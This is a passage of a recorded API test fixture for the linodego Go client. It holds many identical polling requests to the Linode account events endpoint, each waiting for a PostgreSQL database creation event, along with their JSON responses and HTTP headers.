- '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: 